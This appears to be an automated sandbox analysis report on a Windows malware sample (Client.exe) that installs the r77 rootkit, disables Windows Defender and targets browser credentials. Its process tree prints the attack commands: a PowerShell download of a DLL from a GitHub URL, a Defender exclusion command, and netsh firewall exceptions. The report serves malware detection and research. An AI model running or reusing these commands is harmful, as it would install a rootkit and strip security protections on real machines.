Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/08/2024, 00:54

General

  • Target
    Client.exe
  • Size 34KB
  • Sample240819-a9drrayamm
  • SHA256 62566a803d4f1d485a6df2a9fcd7af4861631e77785b973844e668dda51c74f0
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/NGROKC/CTC/raw/main/CTC64.dll

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • r77

    r77 is an open-source, userland rootkit.

  • r77 rootkit payload 1 IoCs

    Detects the payload of the r77 rootkit.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 2 IoCs
  • Downloads MZ/PE file
  • Event Triggered Execution: AppInit DLLs 1 TTPs

    Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by AppInit DLLs loaded into processes.

  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Windows security modification 2 TTPs 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 16 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Client.exe
    "C:\Users\Admin\AppData\Local\Temp\Client.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2044
    • C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\System32\explorer.exe" C:\ProgramData\Windows Security\$77-Windows Security Notification.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2968
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe" /4
    1⤵
    • Checks SCSI registry key(s)
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:2336
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1296
    • C:\ProgramData\Windows Security\$77-Windows Security Notification.exe
      "C:\ProgramData\Windows Security\$77-Windows Security Notification.exe"
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • Checks computer location settings
      • Drops startup file
      • Executes dropped EXE
      • Windows security modification
      • Adds Run key to start application
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1872
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall add allowedprogram "C:\ProgramData\Windows Security\$77-Windows Security Notification.exe" "$77-Windows Security Notification.exe" ENABLE
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:4744
      • C:\Windows\SysWOW64\netsh.exe
        netsh firewall add allowedprogram "C:\ProgramData\Windows Security\$77-Windows Security Notification.exe" "$77-Windows Security Notification.exe" ENABLE
        3⤵
        • Modifies Windows Firewall
        • Event Triggered Execution: Netsh Helper DLL
        • System Location Discovery: System Language Discovery
        PID:1056
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Rot.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4436
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/NGROKC/CTC/raw/main/CTC64.dll','C:\ProgramData\Windows Security\r77-x64.dll');exit
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4400
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -ExclusionExtension exe,vbs,bat,hta,lnk,dll,ps1;exit
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4752
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell" Get-MpPreference -verbose
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4072
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:3736
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Loads dropped DLL
      • Checks SCSI registry key(s)
      • Suspicious use of AdjustPrivilegeToken
      PID:3980

    Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          $77-Windows Security Notification.exe

          • Path C:\ProgramData\Windows Security\$77-Windows Security Notification.exe
          • Size 34KB
          • SHA256 62566a803d4f1d485a6df2a9fcd7af4861631e77785b973844e668dda51c74f0
          • MD5 SHA1 SHA512 SSDEEP

          r77-x64.dll

          • Path C:\ProgramData\Windows Security\r77-x64.dll
          • Size 147KB
          • SHA256 919a332e85d7c32a6f0a1bdd15b211b8b273b73fe05a553ea0f230a0958586c7
          • MD5 SHA1 SHA512 SSDEEP

          F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx

          • Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx
          • Size 64KB
          • SHA256 b09f68b61d9ff5a7c7c8b10eee9447d4813ee0e866346e629e788cd4adecb66a
          • MD5 SHA1 SHA512 SSDEEP

          F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock

          • Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.lock
          • Size 4B
          • SHA256 7852fce59c67ddf1d6b8b997eaa1adfac004a9f3a91c37295de9223674011fba
          • MD5 SHA1 SHA512

          F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val

          • Path C:\Users\Admin\AppData\Local\D3DSCache\e8010882af4f153f\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val
          • Size 944B
          • SHA256 878947d0ec814fe7c343cdebc05eebf00eb14f3023bdb3809a559e17f399fe5d
          • MD5 SHA1 SHA512

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
          • Size 1KB
          • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 18KB
          • SHA256 81d9328f68a681c27cbe9b4cf56c53af6b91d7f53b720d8f266710dc862c0317
          • MD5 SHA1 SHA512 SSDEEP

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 16KB
          • SHA256 d4db5fa1e75a3b953dd63059cc0e34b7e0ccbc7ed8e7d59249aab889c2331970
          • MD5 SHA1 SHA512 SSDEEP

          Rot.bat

          • Path C:\Users\Admin\AppData\Local\Temp\Rot.bat
          • Size 251B
          • SHA256 ae65c56a9718326d6899262eea15044cf418b341472645098f68b6e3f0729068
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_tqzfzv3h.xy0.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tqzfzv3h.xy0.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/1872-114-0x00000000068B0000-0x0000000006942000-memory.dmp

          memory/1872-121-0x0000000007360000-0x000000000736A000-memory.dmp

          memory/1872-117-0x0000000006B90000-0x0000000006C28000-memory.dmp

          memory/1872-118-0x0000000006DE0000-0x0000000006E74000-memory.dmp

          memory/1872-119-0x0000000006EC0000-0x0000000006F10000-memory.dmp

          memory/1872-116-0x0000000006880000-0x000000000688E000-memory.dmp

          memory/1872-115-0x0000000006890000-0x000000000689A000-memory.dmp

          memory/2044-0-0x0000000074FBE000-0x0000000074FBF000-memory.dmp

          memory/2044-4-0x00000000048C0000-0x0000000004926000-memory.dmp

          memory/2044-5-0x0000000074FB0000-0x0000000075760000-memory.dmp

          memory/2044-3-0x0000000004960000-0x00000000049FC000-memory.dmp

          memory/2044-2-0x0000000004E70000-0x0000000005414000-memory.dmp

          memory/2044-1-0x0000000000030000-0x000000000003E000-memory.dmp

          memory/2044-11-0x0000000074FB0000-0x0000000075760000-memory.dmp

          memory/2336-16-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/2336-10-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/2336-17-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/2336-20-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/2336-21-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/2336-15-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/2336-18-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/2336-19-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/2336-8-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/2336-9-0x000001BF320D0000-0x000001BF320D1000-memory.dmp

          memory/3980-149-0x0000029D5DCA0000-0x0000029D5DCA1000-memory.dmp

          memory/3980-140-0x0000029D5DCA0000-0x0000029D5DCA1000-memory.dmp

          memory/3980-141-0x0000029D5DCA0000-0x0000029D5DCA1000-memory.dmp

          memory/3980-139-0x0000029D5DCA0000-0x0000029D5DCA1000-memory.dmp

          memory/3980-147-0x0000029D5DCA0000-0x0000029D5DCA1000-memory.dmp

          memory/3980-151-0x0000029D5DCA0000-0x0000029D5DCA1000-memory.dmp

          memory/3980-150-0x0000029D5DCA0000-0x0000029D5DCA1000-memory.dmp

          memory/3980-148-0x0000029D5DCA0000-0x0000029D5DCA1000-memory.dmp

          memory/3980-146-0x0000029D5DCA0000-0x0000029D5DCA1000-memory.dmp

          memory/4072-110-0x0000000007890000-0x0000000007898000-memory.dmp

          memory/4072-106-0x0000000006170000-0x0000000006181000-memory.dmp

          memory/4072-60-0x0000000005CF0000-0x0000000006044000-memory.dmp

          memory/4072-93-0x00000000717E0000-0x000000007182C000-memory.dmp

          memory/4072-104-0x00000000076D0000-0x00000000076DA000-memory.dmp

          memory/4072-105-0x0000000007900000-0x0000000007996000-memory.dmp

          memory/4072-109-0x00000000078A0000-0x00000000078BA000-memory.dmp

          memory/4400-30-0x0000000004910000-0x0000000004946000-memory.dmp

          memory/4400-45-0x0000000005F00000-0x0000000005F4C000-memory.dmp

          memory/4400-32-0x0000000004DF0000-0x0000000004E12000-memory.dmp

          memory/4400-46-0x0000000007750000-0x0000000007DCA000-memory.dmp

          memory/4400-47-0x00000000063D0000-0x00000000063EA000-memory.dmp

          memory/4400-31-0x0000000005050000-0x0000000005678000-memory.dmp

          memory/4400-43-0x0000000005AE0000-0x0000000005E34000-memory.dmp

          memory/4400-33-0x00000000057F0000-0x0000000005856000-memory.dmp

          memory/4400-44-0x0000000005ED0000-0x0000000005EEE000-memory.dmp

          memory/4752-107-0x00000000060E0000-0x00000000060EE000-memory.dmp

          memory/4752-80-0x0000000006300000-0x000000000634C000-memory.dmp

          memory/4752-81-0x0000000007410000-0x0000000007442000-memory.dmp

          memory/4752-82-0x00000000717E0000-0x000000007182C000-memory.dmp

          memory/4752-92-0x00000000073F0000-0x000000000740E000-memory.dmp

          memory/4752-103-0x0000000007460000-0x0000000007503000-memory.dmp

          memory/4752-108-0x00000000077B0000-0x00000000077C4000-memory.dmp